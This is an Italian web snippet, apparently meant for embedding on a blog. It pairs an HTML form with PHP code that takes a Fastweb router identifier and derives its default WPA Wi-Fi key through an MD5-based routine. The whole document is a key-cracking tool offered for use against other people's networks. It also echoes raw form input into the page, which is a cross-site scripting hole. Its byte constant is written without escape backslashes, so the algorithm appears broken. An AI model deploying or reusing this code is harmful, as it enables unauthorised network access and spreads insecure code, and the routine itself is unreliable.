Implementare WPA Crack fastweb sul proprio blog o sito web

<form action="" method="post">
   <p align=baseline><input type="text" name="ID"><br></p>
   <p align=baseline><input type="submit" name="submit" value="Invio"><br></p>
</form>
 
 
<?php
if(isset($_POST['submit'])){ 
$NUMB       = $_POST["ID"];
$ssid   = "FASTWEB-1-$NUMB";
 
 
$seq_20 = "x22x33x11x34x02x81xFAx22x11x41x68x11x12x01x05x22x71x42x10x66";
if (strlen($NUMB) == 12) {
$sn     = $NUMB;
preg_match_all( "/[a-f0-9]{2}/i", $sn, $sn_bytes );
$sn_bytes = $sn_bytes[0];
 
$str = "";
for( $i = 0; $i < 6; $i++ ){
    $str .= chr( hexdec( $sn_bytes[$i] ) );
}
 
$str .= $seq_20;
 
preg_match_all( "/[a-f0-9]{2}/i", md5($str), $md5_bytes );
$md5_bytes = $md5_bytes[0];
$long      = "";
 
foreach( $md5_bytes as $byte ){
    $long .= sprintf( "%08s", decbin( hexdec($byte) ) );
}
 
$hex_5 = array();
for( $i = 0; $i < 25; $i += 5 ){
    $n       = bindec( substr( $long, $i, 5 ) );
    $hex_5[] = $n > 0x0a ? $n + 0x57 : $n;
}
 
$wpa = "";
foreach( $hex_5 as $hex ){
    $wpa .= sprintf( "%02x", $hex );
}
 
if (strlen($wpa) > 0) {
echo "<p><font color='#315fbc'>SSID: $ssid</font></p>";
echo "<p><font color='#315fbc'>WPA: $wpa</font></p>";
}
}
else {
echo "Impossibile trovare la password";
}
}
?>